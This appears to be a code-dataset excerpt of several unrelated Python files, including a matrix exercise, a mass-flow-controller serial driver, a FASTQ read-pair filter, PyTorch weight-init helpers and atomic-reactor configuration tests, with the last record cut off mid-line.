MLP\n","repo_name":"ARISE-Initiative/robomimic","sub_path":"robomimic/config/bcq_config.py","file_name":"bcq_config.py","file_ext":"py","file_size_in_byte":5834,"program_lang":"python","lang":"en","doc_type":"code","stars":294,"dataset":"github-code","pt":"67"} +{"seq_id":"73272621012","text":"#Fills the matrix n * m with a numbers from 1 to m like a snake\nn, m = map(int, input().split())\n\nmtrx = [[0] * m for _ in range(n)]\n\n\ncount = 1\ni, j = 0, 0\n\nfor i in range(n):\n if i % 2 > 0:\n j = m - 1\n while j >= 0:\n mtrx[i][j] = count\n count += 1\n j -= 1\n else:\n for j in range(m):\n mtrx[i][j] = count\n count += 1\n \nfor i in range(n):\n for j in range(m):\n print(str(mtrx[i][j]).ljust(3), end = ' ')\n print()\n","repo_name":"DenisChesnokov/SimpleTasks","sub_path":"Matrix/NumbersLikeSnake.py","file_name":"NumbersLikeSnake.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4193644444","text":"###\n### DXE MASS FLOW CONTROLLER 001, INITIALIZATION (mfc1 INI) [Device: MKS GM50A Mass Flow Controller]\n###\n### NOTE1: Device requires THIRTY MINUTES of \"warm-up\" prior to operation.\n###\n### NOTE2: \"For optimum control performance, the user can (should) specify the inlet pressure\n### to the device through the Ethernet User Interface\"\n###\n### NOTE3: Max operational frequency for data fetching is ~250Hz, timeout set to the trippled reciprocal of the max of vac1\n###\n### NOTE4: Timeout need be set to roughly triple that required for repeated commands to be successfully interpreted via probook 4320s/ubuntu/ipy notebook, =0.12s\n###\n### NOTE5: If available, RSD setting may help the receiving of data if information received appears incomplete\n###\n### NOTE6: User Range of flow is 20000 sccm\n###\n\n### Import necessary packages and scripts ###\nimport DXE_SC as sc\nimport serial as ser\nimport time as t\nimport re\n\n### Assign communication with device a port on serial multiplexer (sm) ###\ncom_mfc1 = ser.Serial('/dev/serial/by-id/usb-Prolific_Technology_Inc._USB-Serial_Controller_D-if00-port0', 9600, timeout=0.2)\n\n### Define checksum calculating function ###\ndef checksum(inputString):\n stringSumDec = 0\n for i in range(0,len(inputString)):\n stringSumDec += ord(\"%s\"%(inputString[i]))\n stringSumHex = hex(stringSumDec)\n checkSum = str(stringSumHex)\n checkSum = checkSum[-2:]\n checkSum = checkSum.upper()\n return checkSum\n\n### Define Sub-Operation function, input is a number corresponding to sublist of interactionSpecification ###\ndef subOp(I):\n\n ### Format interaction ###\n interactionType = sc.par.mfc1.interactionSpecification[I][0]\n interaction = sc.par.mfc1.interactionSpecification[I][1]\n interactionAttribute = sc.par.mfc1.interactionSpecification[I][2]\n interactionFormatted_1 = \"@\" + \"%s\"%(sc.par.mfc1.RS485Address) + interaction + interactionType + interactionAttribute + \";\"\n interactionFormatted_2 = interactionFormatted_1 + checksum(interactionFormatted_1)\n interactionFormatted_3 = \"@@\" + interactionFormatted_2\n\n ### Interact ###\n com_mfc1.write('%s'%(interactionFormatted_3))\n if interactionType == \"?\":\n output = com_mfc1.readline()\n t.sleep(sc.par.holdTime)\n output_original = output\n if interactionType == \"!\":\n output = \"COMMAND\"\n output_original = output\n if (\"!\" in interactionType) == False:\n if (\"?\" in interactionType) == False:\n output = \"Interaction type improperly specified.\"\n output_original = output\n\n ### Check for Error (NAK) or Acknowledgement (ACK) ###\n ### Note: Command responses are ignored\n if (\"ACK\" in output) == False:\n if (\"NAK\" in output) == False:\n if output != \"COMMAND\":\n output = \"Fatal error, check commuication interface.\"\n output_original = output\n com_mfc1.flushInput()\n \n ### Process and store reply in \"output\", Flush buffer (ACK) ###\n if (\"ACK\" in output) == True:\n output = output.split(';')\n output = output[0]\n output = output[2:]\n output = output.strip(\"@\") ### Note: \"strip\" => string must be at beginning or end to be removed\n output = output.strip(\"@\")\n output = output.strip(\"@\")\n output = output[3:]\n output = output.replace(\"ACK\",\"\")\n if output.find(\"E\") != -1: ### If there's an E:\n if not re.search('[a-zA-Z]', output.replace(\"E\",\"\")): ### If there are no letters with E removed\n output = output.replace(\"E\",\"*10**\")\n if not re.search('[a-zA-Z]', output): ### If there are no letters\n if (\".\" in output) == True: ### If value is decimal (output is a manipulatable number) Note: requires S/N has no \".\"\n output = eval(output)\n com_mfc1.flushInput()\n\n ### Process and store reply in \"output\", Flush buffer (NAK) ###\n if (\"NAK\" in output_original) == True:\n output = output.split(';')\n output = output[0]\n output = output[2:]\n output = output.strip(\"@\") ### Note: \"strip\" => string must be at beginning or end to be removed\n output = output.strip(\"@\")\n output = output.strip(\"@\")\n output = output[3:]\n output = output.replace(\"NAK\",\"\")\n output = str(output)\n output = \"Error Code Generated: \" + output\n com_mfc1.flushInput()\n \n return output\n\n### MFC1 Initialization module ###\ndef ini_mfc1():\n\n subOp(0) # Wink on\n t.sleep(1)\n subOp(1) # Wink off\n t.sleep(0.1)\n subOp(3) # Calibration mode\n t.sleep(0.1)\n subOp(4) # Set gas to Xe\n t.sleep(0.1)\n subOp(2) # Run Mode\n t.sleep(0.1)\n","repo_name":"squareRootNNsquared/sc","sub_path":"DXE_LIB_MFC1_INI.py","file_name":"DXE_LIB_MFC1_INI.py","file_ext":"py","file_size_in_byte":4737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39658383857","text":"import pysam\nimport gzip\nimport argparse\n\n\ndef complement_dna(dna):\n complement = str.maketrans('ATCG', 'TAGC')\n reverse = dna[::-1].translate(complement)\n return reverse\n\n\ndef get_mapped_read_names(input_bam):\n bam = pysam.AlignmentFile(input_bam)\n mapped_read_names = [read.query_name for read in bam.fetch() if not read.is_unmapped]\n bam.close()\n return mapped_read_names\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"get pairs\")\n\n parser.add_argument(\"file1\", help=\"第一个文件路径\")\n parser.add_argument(\"file2\", help=\"第二个文件路径\")\n parser.add_argument(\"sam1\", type=str, help=\"sam1\")\n parser.add_argument(\"sam2\", type=str, help=\"sam2\")\n parser.add_argument(\"outfile\", help=\"outfile\")\n\n args = parser.parse_args()\n\n\n\n list1 = get_mapped_read_names(args.sam1)\n list2 = get_mapped_read_names(args.sam2)\n list_merge = set(list1 + list2)\n \n \n with gzip.open(args.file1, 'rb') as file1, gzip.open(args.file2, 'rb') as file2, open(args.outfile, \"w\") as file3:\n for i, line in enumerate(zip(file1, file2)):\n if i % 4 == 0:\n name = (line[0].split()[0]).decode('utf-8')\n if i % 4 == 1:\n read1 = (line[0].strip()).decode('utf-8')\n read2 = (line[1].strip()).decode('utf-8')\n read = read1 + complement_dna(read2)\n if i % 4 == 3:\n q1 = (line[0].strip()).decode('utf-8')\n q2 = (line[1].strip()).decode('utf-8')\n qq = q1 + q2[::-1]\n if name[1:] not in list_merge:\n print(name, file=file3)\n print(read, file=file3)\n print(\"+\", file=file3)\n print(qq, file=file3)\n\n\n\n\n\n\n","repo_name":"hmu-youbai/some_snk","sub_path":"get_pair/ref/get_pre_300.py","file_name":"get_pre_300.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31706388849","text":"\"\"\"Weight init\n\n\"\"\"\nfrom torch.nn.init import kaiming_normal_, kaiming_uniform_\nfrom torch.nn.init import xavier_normal_, xavier_uniform_, constant_\nfrom torch.nn.modules.conv import _ConvNd\nfrom torch.nn.modules.batchnorm import _BatchNorm\nfrom functools import partial\n\nfrom .config import Config\n\n\ndef _kaiming(func, module):\n \"\"\"Apply Kaiming conv weight initilization\n\n Args:\n func (function): kaiming_normal_ or kaiming_normal_\n module (torch.nn.modules._ConvNd): The module to initilize\n\n \"\"\"\n nonlinearity = Config.activ['name']\n mode = Config.weight_init['mode'] if 'mode' in Config.weight_init else 'fan_in'\n a = Config.activ['negative_slope'] if 'negative_slope' in Config.activ else 0\n if isinstance(module, _ConvNd):\n func(module.weight, a=a, mode=mode, nonlinearity=nonlinearity)\n\n\ndef kaiming_normal(module):\n _kaiming(kaiming_normal_, module)\n\n\ndef kaiming_uniform(module):\n _kaiming(kaiming_uniform_, module)\n\n\ndef _xavier(func, module):\n gain = Config.weight_init['gain'] if 'gain' in Config.weight_init else 1\n if isinstance(module, _ConvNd):\n func(module.weight, gain=gain)\n\n\ndef xavier_normal(module):\n _xavier(xavier_normal_, module)\n\n\ndef xavier_uniform(module):\n _xavier(xavier_uniform_, module)\n\n\ndef init_conv_bias(module):\n if isinstance(module, _ConvNd):\n if module.bias is not None:\n constant_(module.bias, 0)\n\n\ndef init_norm(module):\n if isinstance(module, _BatchNorm):\n if module.bias is not None:\n constant_(module.bias, 0)\n if module.weight is not None:\n constant_(module.weight, 1)\n\n\ndef init_paras(model):\n \"\"\"Initialize model parameters\n\n Args:\n model (torch.nn.Module): The model to initilize\n \n Returns:\n model (torch.nn.Module): The input model but with parameter\n initialization\n\n \"\"\"\n weight_init = Config.weight_init['name']\n if weight_init == 'kaiming_normal':\n model.apply(kaiming_normal)\n elif weight_init == 'kaiming_uniform':\n model.apply(kaiming_uniform)\n elif weight_init == 'xavier_normal':\n model.apply(xavier_normal)\n elif weight_init == 'xavier_uniform':\n model.apply(xavier_uniform)\n model.apply(init_conv_bias)\n model.apply(init_norm)\n return model\n","repo_name":"shuohan/ptxl","sub_path":"ptxl/init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31968467415","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"Created on Mon Jan 25 2021 10:38:39 by codeskyblue\n\"\"\"\n\nimport pytest\nfrom tidevice._ipautil import IPAReader, IPAError\n\n\n@pytest.mark.skip(\"ipa file removed from git\")\ndef test_get_infoplist(wda_filepath: str):\n ir = IPAReader(wda_filepath)\n assert ir.get_bundle_id() == \"com.facebook.WebDriverAgentRunner.xctrunner\"\n\n data = ir.get_mobileprovision()\n assert \"Version\" in data\n assert data['Version'] == 1\n\n","repo_name":"alibaba/tidevice","sub_path":"tests/test_ipautil.py","file_name":"test_ipautil.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":2172,"dataset":"github-code","pt":"67"} +{"seq_id":"10791899709","text":"import io\nimport logging\nimport os\nimport pkg_resources\nimport pytest\nfrom textwrap import dedent\nimport yaml\nimport smtplib\nimport requests_gssapi\n\nimport atomic_reactor\nimport koji\nfrom atomic_reactor.util import read_yaml, DockerfileImages\nimport atomic_reactor.utils.cachito\nimport atomic_reactor.utils.koji\nimport atomic_reactor.utils.odcs\nimport osbs.conf\nimport osbs.api\nfrom osbs.utils import RegistryURI, ImageName\nfrom osbs.exceptions import OsbsValidationException\nfrom tests.constants import REACTOR_CONFIG_MAP\nfrom flexmock import flexmock\nfrom atomic_reactor.config import (Configuration, ODCSConfig, get_koji_session, get_odcs_session,\n get_cachito_session, get_smtp_session, get_openshift_session)\nfrom atomic_reactor.constants import REACTOR_CONFIG_ENV_NAME\n\n\nREQUIRED_CONFIG = \"\"\"\\\nversion: 1\nkoji:\n hub_url: /\n root_url: ''\n auth: {}\nopenshift:\n url: openshift_url\nsource_registry:\n url: source_registry.com\nregistry:\n url: registry_url\n\"\"\"\n\n\nclass TestConfiguration(object):\n @pytest.mark.parametrize(('config', 'exc'), [\n # Only API version v2 is valid.\n (\n dedent(\"\"\"\\\n registry:\n url: https://container-registry.example.com/v2\n registries_cfg_path: /var/run/secrets/atomic-reactor/v2-registry-dockercfg\n \"\"\"),\n None,\n ),\n (\n dedent(\"\"\"\\\n registry:\n url: https://container-registry.example.com/v2\n \"\"\"),\n None,\n ),\n (\n dedent(\"\"\"\\\n registry:\n url: https://container-registry.example.com/v2\n registries_cfg_path: /var/run/secrets/atomic-reactor/v2-registry-dockercfg\n \"\"\"),\n None,\n ),\n # API version v1 is invalid.\n (\n dedent(\"\"\"\\\n registry:\n url: https://old-container-registry.example.com/v1\n registries_cfg_path: /var/run/secrets/atomic-reactor/v1-registry-dockercfg\n \"\"\"),\n pytest.raises(OsbsValidationException, match=\"Invalid API version requested in .+\")\n ),\n # Only API version v2 is valid.\n (\n dedent(\"\"\"\\\n registry:\n url: https://wrong-container-registry.example.com/v3\n registries_cfg_path: /var/run/secrets/atomic-reactor/wrong-registry-dockercfg\n \"\"\"),\n pytest.raises(RuntimeError, match=\"Expected V2 registry but none in REACTOR_CONFIG\")\n ),\n ])\n def test_get_registry(self, config, exc):\n required_config = dedent(\"\"\"\\\n version: 1\n koji:\n hub_url: /\n root_url: ''\n auth: {}\n openshift:\n url: openshift_url\n source_registry:\n url: source_registry.com\n \"\"\")\n config += \"\\n\" + required_config\n config_json = read_yaml(config, 'schemas/config.json')\n\n expected = {\n 'uri': 'container-registry.example.com',\n 'insecure': False,\n 'expected_media_types': [],\n 'version': 'v2',\n }\n if 'registries_cfg_path' in config:\n expected['secret'] = '/var/run/secrets/atomic-reactor/v2-registry-dockercfg'\n conf = Configuration(raw_config=config_json)\n\n if exc is None:\n assert conf.registry == expected\n else:\n with exc:\n getattr(conf, 'registry')\n\n @pytest.mark.parametrize(('config', 'expected'), [\n (\"pull_registries: []\", []),\n (\n dedent(\"\"\"\\\n pull_registries:\n - url: registry.io\n \"\"\"),\n [\n {\n \"uri\": RegistryURI(\"registry.io\"),\n \"insecure\": False,\n \"dockercfg_path\": None,\n }\n ],\n ),\n (\n dedent(\"\"\"\\\n pull_registries:\n - url: https://registry.io\n \"\"\"),\n [\n {\n \"uri\": RegistryURI(\"https://registry.io\"),\n \"insecure\": False,\n \"dockercfg_path\": None,\n },\n ],\n ),\n (\n dedent(\"\"\"\\\n pull_registries:\n - url: https://registry.io\n registries_cfg_path: /var/run/secrets/atomic-reactor/v2-registry-dockercfg\n \"\"\"),\n [\n {\n \"uri\": RegistryURI(\"https://registry.io\"),\n \"insecure\": False,\n \"dockercfg_path\": '/var/run/secrets/atomic-reactor/v2-registry-dockercfg',\n },\n ],\n ),\n (\n dedent(\"\"\"\\\n pull_registries:\n - url: registry.io\n insecure: true\n registries_cfg_path: /var/run/secrets/atomic-reactor/v2-registry-dockercfg\n \"\"\"),\n [\n {\n \"uri\": RegistryURI(\"registry.io\"),\n \"insecure\": True,\n \"dockercfg_path\": \"/var/run/secrets/atomic-reactor/v2-registry-dockercfg\",\n },\n ],\n ),\n (\n dedent(\"\"\"\\\n pull_registries:\n - url: registry.io\n insecure: true\n - url: registry.org\n registries_cfg_path: /var/run/secrets/atomic-reactor/v2-registry-dockercfg\n \"\"\"),\n [\n {\n \"uri\": RegistryURI(\"registry.io\"),\n \"insecure\": True,\n \"dockercfg_path\": \"/var/run/secrets/atomic-reactor/v2-registry-dockercfg\",\n },\n {\n \"uri\": RegistryURI(\"registry.org\"),\n \"insecure\": False,\n \"dockercfg_path\": \"/var/run/secrets/atomic-reactor/v2-registry-dockercfg\",\n },\n ],\n ),\n ])\n def test_get_pull_registries(self, config, expected):\n config += \"\\n\" + REQUIRED_CONFIG\n\n config_json = read_yaml(config, 'schemas/config.json')\n conf = Configuration(raw_config=config_json)\n\n if isinstance(expected, list):\n pull_registries = conf.pull_registries\n\n # RegistryURI does not implement equality, check URI as string\n for reg in pull_registries + expected:\n reg['uri'] = reg['uri'].uri\n\n assert pull_registries == expected\n else:\n with expected:\n print(conf.pull_registries)\n\n @pytest.mark.parametrize(('config', 'expected_slots_dir', 'expected_enabled_hosts'), [\n (\"\"\"\\\nremote_hosts:\n slots_dir: path/foo\n pools:\n x86_64:\n remote-host1.x86_64:\n enabled: true\n auth: foo\n username: bar\n slots: 1\n socket_path: /user/foo/podman.sock\n remote-host2.x86_64:\n enabled: false\n auth: foo\n username: bar\n slots: 2\n socket_path: /user/foo/podman.sock\n ppc64le:\n remote-host3.ppc64le:\n enabled: true\n auth: foo\n username: bar\n slots: 3\n socket_path: /user/foo/podman.sock\n \"\"\",\n 'path/foo', {'x86_64': ['remote-host1.x86_64'], 'ppc64le': ['remote-host3.ppc64le']}),\n ])\n def test_get_remote_hosts(self, config, expected_slots_dir, expected_enabled_hosts):\n config += \"\\n\" + REQUIRED_CONFIG\n config_json = read_yaml(config, 'schemas/config.json')\n\n conf = Configuration(raw_config=config_json)\n\n remote_hosts = conf.remote_hosts\n assert expected_slots_dir == remote_hosts['slots_dir']\n\n pools = remote_hosts['pools']\n assert len(pools), 'Remote hosts do not have 2 architectures'\n assert len(pools['x86_64']) == 2, '2 entries expected for x86_64 architecture'\n assert sorted(pools['x86_64']) == sorted(['remote-host1.x86_64', 'remote-host2.x86_64'])\n\n assert len(pools['ppc64le']) == 1, '1 entry expected for ppc64le architecture'\n\n host1_x86_64 = pools['x86_64']['remote-host1.x86_64']\n assert host1_x86_64['auth'] == 'foo', 'Unexpected SSH key path'\n assert host1_x86_64['socket_path'] == '/user/foo/podman.sock', 'Unexpected socket path'\n\n host2_x86_64 = pools['x86_64']['remote-host2.x86_64']\n assert host2_x86_64['username'] == 'bar', 'Unexpected user name'\n host3_ppc64le = pools['ppc64le']['remote-host3.ppc64le']\n assert host3_ppc64le['slots'] == 3, 'Unexpected number of slots'\n\n for arch in ['x86_64', 'ppc64le']:\n enabled_hosts = [host for host, items in pools[arch].items() if items['enabled']]\n assert enabled_hosts == expected_enabled_hosts[arch]\n\n @pytest.mark.parametrize('config, error', [\n (\"\"\"\\\nremote_hosts: []\n \"\"\",\n \"is not of type {!r}\".format(\"object\")),\n (\"\"\"\\\nremote_hosts:\n slots_dir: path/foo\n \"\"\",\n \"{!r} is a required property\".format(\"pools\")),\n (\"\"\"\\\nremote_hosts:\n pools:\n x86_64:\n remote-host1.x86_64:\n enabled: true\n auth: foo\n username: bar\n slots: 1\n socket_path: /user/foo/podman.sock\n \"\"\",\n \"{!r} is a required property\".format(\"slots_dir\")),\n (\"\"\"\\\nremote_hosts:\n pools:\n amd-64:\n remote-host1:\n enabled: true\n auth: foo\n username: bar\n slots: 1\n socket_path: /user/foo/podman.sock\n \"\"\",\n \"{!r} does not match any of the regexes\".format(\"amd-64\")),\n (\"\"\"\\\nremote_hosts:\n slots_dir: path/foo\n pools:\n s390x:\n remote-host1:\n auth: foo\n username: bar\n slots: 1\n socket_path: /user/foo/podman.sock\n \"\"\",\n \"{!r} is a required property\".format(\"enabled\")),\n (\"\"\"\\\nremote_hosts:\n slots_dir: path/foo\n pools:\n s390x:\n remote-host1.s390x:\n enabled: true\n username: bar\n slots: 1\n socket_path: /user/foo/podman.sock\n \"\"\",\n \"{!r} is a required property\".format(\"auth\")),\n (\"\"\"\\\nremote_hosts:\n slots_dir: path/foo\n pools:\n s390x:\n remote-host1.s390x:\n enabled: true\n auth: foo\n slots: 1\n socket_path: /user/foo/podman.sock\n \"\"\",\n \"{!r} is a required property\".format(\"username\")),\n (\"\"\"\\\nremote_hosts:\n slots_dir: path/foo\n pools:\n s390x:\n remote-host1.s390x:\n enabled: true\n auth: foo\n username: bar\n slots: 1\n \"\"\",\n \"{!r} is a required property\".format(\"socket_path\")),\n (\"\"\"\\\nremote_hosts:\n slots_dir: path/foo\n pools:\n s390x:\n remote-host1.s390x:\n enabled: true\n auth: foo\n username: bar\n socket_path: /user/foo/podman.sock\n \"\"\",\n \"{!r} is a required property\".format(\"slots\")),\n (\"\"\"\\\nremote_hosts:\n slots_dir: path/foo\n pools:\n aarch64:\n remote-host1.@aarch64@@:\n enabled: true\n auth: foo\n username: bar\n socket_path: /user/foo/podman.sock\n \"\"\",\n \"{!r} does not match any of the regexes\".format(\"remote-host1.@aarch64@@\")),\n ])\n def test_get_remote_hosts_schema_validation(self, config, error):\n config += \"\\n\" + REQUIRED_CONFIG\n with pytest.raises(OsbsValidationException) as exc_info:\n read_yaml(config, 'schemas/config.json')\n assert error in str(exc_info.value)\n\n @pytest.mark.parametrize('config, error', [\n (\"\"\"\\\npull_registries: {}\n \"\"\",\n \"is not of type {!r}\".format(\"array\")),\n (\"\"\"\\\npull_registries:\n- insecure: false\n \"\"\",\n \"{!r} is a required property\".format(\"url\")),\n ])\n def test_get_pull_registries_schema_validation(self, config, error):\n config += \"\\n\" + REQUIRED_CONFIG\n with pytest.raises(OsbsValidationException) as exc_info:\n read_yaml(config, 'schemas/config.json')\n assert error in str(exc_info.value)\n\n def test_filename(self, tmpdir):\n filename = os.path.join(str(tmpdir), 'config.yaml')\n with open(filename, 'w') as fp:\n fp.write(dedent(REQUIRED_CONFIG))\n\n Configuration(config_path=filename)\n\n def test_no_schema_resource(self, tmpdir, caplog):\n class FakeProvider(object):\n def get_resource_stream(self, pkg, rsc):\n raise IOError\n\n # pkg_resources.resource_stream() cannot be mocked directly\n # Instead mock the module-level function it calls.\n (flexmock(pkg_resources)\n .should_receive('get_provider')\n .and_return(FakeProvider()))\n\n filename = os.path.join(str(tmpdir), 'config.yaml')\n with open(filename, 'w'):\n pass\n\n with caplog.at_level(logging.ERROR), pytest.raises(Exception):\n Configuration(config_path=filename)\n\n captured_errs = [x.message for x in caplog.records]\n assert \"unable to extract JSON schema, cannot validate\" in captured_errs\n\n @pytest.mark.parametrize('schema', [\n # Invalid JSON\n '{',\n\n # Invalid schema\n '{\"properties\": {\"any\": null}}',\n ])\n def test_invalid_schema_resource(self, tmpdir, caplog, schema):\n class FakeProvider(object):\n def get_resource_stream(self, pkg, rsc):\n return io.BufferedReader(io.BytesIO(schema))\n\n # pkg_resources.resource_stream() cannot be mocked directly\n # Instead mock the module-level function it calls.\n (flexmock(pkg_resources)\n .should_receive('get_provider')\n .and_return(FakeProvider()))\n\n filename = os.path.join(str(tmpdir), 'config.yaml')\n with open(filename, 'w'):\n pass\n\n with caplog.at_level(logging.ERROR), pytest.raises(Exception):\n Configuration(config_path=filename)\n\n captured_errs = [x.message for x in caplog.records]\n assert any(\"cannot validate\" in x for x in captured_errs)\n\n def test_bad_version(self, tmpdir):\n filename = os.path.join(str(tmpdir), 'config.yaml')\n with open(filename, 'w') as fp:\n fp.write(dedent(\"\"\"\\\n version: 2\n koji:\n hub_url: /\n root_url: ''\n auth: {}\n openshift:\n url: openshift_url\n source_registry:\n url: source_registry.com\n registry:\n url: registry_url\n \"\"\"))\n\n with pytest.raises(ValueError):\n Configuration(config_path=filename)\n\n @pytest.mark.parametrize('default', (\n 'release',\n 'beta',\n 'unsigned',\n ))\n def test_odcs_config(self, tmpdir, default):\n config = \"\"\"\\\nodcs:\n signing_intents:\n - name: release\n keys: [R123, R234]\n - name: beta\n keys: [R123, B456, B457]\n - name: unsigned\n keys: []\n default_signing_intent: {default}\n api_url: http://odcs.example.com\n auth:\n ssl_certs_dir: /var/run/secrets/atomic-reactor/odcssecret\n\"\"\".format(default=default)\n\n config += \"\\n\" + REQUIRED_CONFIG\n filename = str(tmpdir.join('config.yaml'))\n with open(filename, 'w') as fp:\n fp.write(dedent(config))\n\n conf = Configuration(config_path=filename)\n\n odcs_config = conf.odcs_config\n\n assert odcs_config.default_signing_intent == default\n\n unsigned_intent = {'name': 'unsigned', 'keys': [], 'restrictiveness': 0}\n beta_intent = {'name': 'beta', 'keys': ['R123', 'B456', 'B457'], 'restrictiveness': 1}\n release_intent = {'name': 'release', 'keys': ['R123', 'R234'], 'restrictiveness': 2}\n assert odcs_config.signing_intents == [\n unsigned_intent, beta_intent, release_intent\n ]\n assert odcs_config.get_signing_intent_by_name('release') == release_intent\n assert odcs_config.get_signing_intent_by_name('beta') == beta_intent\n assert odcs_config.get_signing_intent_by_name('unsigned') == unsigned_intent\n\n with pytest.raises(ValueError):\n odcs_config.get_signing_intent_by_name('missing')\n\n assert odcs_config.get_signing_intent_by_keys(['R123', 'R234'])['name'] == 'release'\n assert odcs_config.get_signing_intent_by_keys('R123 R234')['name'] == 'release'\n assert odcs_config.get_signing_intent_by_keys(['R123'])['name'] == 'release'\n assert odcs_config.get_signing_intent_by_keys('R123')['name'] == 'release'\n assert odcs_config.get_signing_intent_by_keys(['R123', 'B456'])['name'] == 'beta'\n assert odcs_config.get_signing_intent_by_keys(['B456', 'R123'])['name'] == 'beta'\n assert odcs_config.get_signing_intent_by_keys('B456 R123')['name'] == 'beta'\n assert odcs_config.get_signing_intent_by_keys('R123 B456 ')['name'] == 'beta'\n assert odcs_config.get_signing_intent_by_keys(['B456'])['name'] == 'beta'\n assert odcs_config.get_signing_intent_by_keys('B456')['name'] == 'beta'\n assert odcs_config.get_signing_intent_by_keys([])['name'] == 'unsigned'\n assert odcs_config.get_signing_intent_by_keys('')['name'] == 'unsigned'\n\n with pytest.raises(ValueError):\n assert odcs_config.get_signing_intent_by_keys(['missing'])\n with pytest.raises(ValueError):\n assert odcs_config.get_signing_intent_by_keys(['R123', 'R234', 'B457'])\n\n def test_odcs_config_invalid_default_signing_intent(self, tmpdir):\n config = \"\"\"\\\nodcs:\n signing_intents:\n - name: release\n keys: [R123]\n - name: beta\n keys: [R123, B456]\n - name: unsigned\n keys: []\n default_signing_intent: spam\n api_url: http://odcs.example.com\n auth:\n ssl_certs_dir: /var/run/secrets/atomic-reactor/odcssecret\n\"\"\"\n config += \"\\n\" + REQUIRED_CONFIG\n filename = str(tmpdir.join('config.yaml'))\n with open(filename, 'w') as fp:\n fp.write(dedent(config))\n\n conf = Configuration(config_path=filename)\n\n with pytest.raises(ValueError) as exc_info:\n getattr(conf, 'odcs_config')\n message = str(exc_info.value)\n assert message == dedent(\"\"\"\\\n unknown signing intent name \"spam\", valid names: unsigned, beta, release\n \"\"\".rstrip())\n\n def test_odcs_config_deprecated_signing_intent(self, tmpdir, caplog):\n config = \"\"\"\\\nodcs:\n signing_intents:\n - name: release\n keys: [R123]\n deprecated_keys: [R122]\n default_signing_intent: release\n api_url: http://odcs.example.com\n auth:\n ssl_certs_dir: /var/run/secrets/atomic-reactor/odcssecret\n\"\"\"\n config += \"\\n\" + REQUIRED_CONFIG\n filename = str(tmpdir.join('config.yaml'))\n with open(filename, 'w') as fp:\n fp.write(dedent(config))\n\n conf = Configuration(config_path=filename)\n\n odcs_config = conf.odcs_config\n signing_intent = odcs_config.get_signing_intent_by_keys(['R123'])\n assert signing_intent['name'] == 'release'\n assert 'contain deprecated entries' not in caplog.text\n\n signing_intent = odcs_config.get_signing_intent_by_keys(['R123', 'R122'])\n assert signing_intent['name'] == 'release'\n assert 'contain deprecated entries' in caplog.text\n\n @pytest.mark.parametrize('parse_from', ['env', 'file', 'raw'])\n @pytest.mark.parametrize('method', [\n 'odcs', 'smtp', 'artifacts_allowed_domains', 'yum_repo_allowed_domains', 'image_labels',\n 'image_label_info_url_format', 'image_equal_labels', 'fail_on_digest_mismatch',\n 'openshift', 'group_manifests', 'platform_descriptors', 'registry', 'yum_proxy',\n 'source_registry', 'sources_command', 'hide_files', 'skip_koji_check_for_base_image',\n 'deep_manifest_list_inspection'\n ])\n def test_get_methods(self, parse_from, method, tmpdir, caplog, monkeypatch):\n if parse_from == 'raw':\n conf = Configuration(raw_config=yaml.safe_load(REACTOR_CONFIG_MAP))\n elif parse_from == 'env':\n monkeypatch.setenv(REACTOR_CONFIG_ENV_NAME, dedent(REACTOR_CONFIG_MAP))\n conf = Configuration(env_name=REACTOR_CONFIG_ENV_NAME)\n elif parse_from == 'file':\n filename = str(tmpdir.join('config.yaml'))\n with open(filename, 'w') as fp:\n fp.write(dedent(REACTOR_CONFIG_MAP))\n conf = Configuration(config_path=filename)\n\n real_attr = getattr(conf, method)\n\n output = real_attr\n reactor_config_map = yaml.safe_load(REACTOR_CONFIG_MAP)\n\n if method == 'registry':\n expected = reactor_config_map['registry']\n else:\n expected = reactor_config_map[method]\n\n if method == 'registry':\n # since there will only be exactly one registry\n registry = expected\n reguri = RegistryURI(registry.get('url'))\n regdict = {'uri': reguri.docker_uri, 'version': reguri.version}\n regdict['secret'] = reactor_config_map['registries_cfg_path']\n regdict['insecure'] = registry.get('insecure', False)\n regdict['expected_media_types'] = registry.get('expected_media_types', [])\n\n assert output == regdict\n return\n\n if method == 'source_registry':\n expect = {\n 'uri': RegistryURI(expected['url']),\n 'insecure': expected.get('insecure', False)\n }\n assert output['insecure'] == expect['insecure']\n assert output['uri'].uri == expect['uri'].uri\n return\n\n assert output == expected\n os.environ.pop(REACTOR_CONFIG_ENV_NAME, None)\n\n if parse_from == 'raw':\n log_msg = \"reading config from raw_config kwarg\"\n elif parse_from == 'env':\n log_msg = f\"reading config from {REACTOR_CONFIG_ENV_NAME} env variable\"\n elif parse_from == 'file':\n log_msg = f\"reading config from {filename}\"\n assert log_msg in caplog.text\n\n @pytest.mark.parametrize(('config', 'expect'), [\n (\"\"\"\\\nplatform_descriptors:\n - platform: x86_64\n architecture: amd64\n \"\"\",\n {'x86_64': 'amd64',\n 'ppc64le': 'ppc64le'}),\n ])\n def test_get_platform_to_goarch_mapping(self, config, expect):\n config += \"\\n\" + REQUIRED_CONFIG\n\n config_json = read_yaml(config, 'schemas/config.json')\n\n conf = Configuration(raw_config=config_json)\n\n platform_to_goarch = conf.platform_to_goarch_mapping\n goarch_to_platform = conf.goarch_to_platform_mapping\n for plat, goarch in expect.items():\n assert platform_to_goarch[plat] == goarch\n assert goarch_to_platform[goarch] == plat\n\n @pytest.mark.parametrize(('config', 'expect'), [\n (\"\"\"\\\nflatpak:\n base_image: fedora:latest\n \"\"\",\n \"fedora:latest\"),\n (\"\"\"\\\n \"\"\",\n None),\n (\"\"\"\\\nflatpak: {}\n \"\"\",\n None),\n ])\n def test_get_flatpak_base_image(self, config, expect):\n config += \"\\n\" + REQUIRED_CONFIG\n config_json = read_yaml(config, 'schemas/config.json')\n\n conf = Configuration(raw_config=config_json)\n\n if expect:\n base_image = conf.flatpak_base_image\n assert base_image == expect\n else:\n with pytest.raises(KeyError):\n getattr(conf, 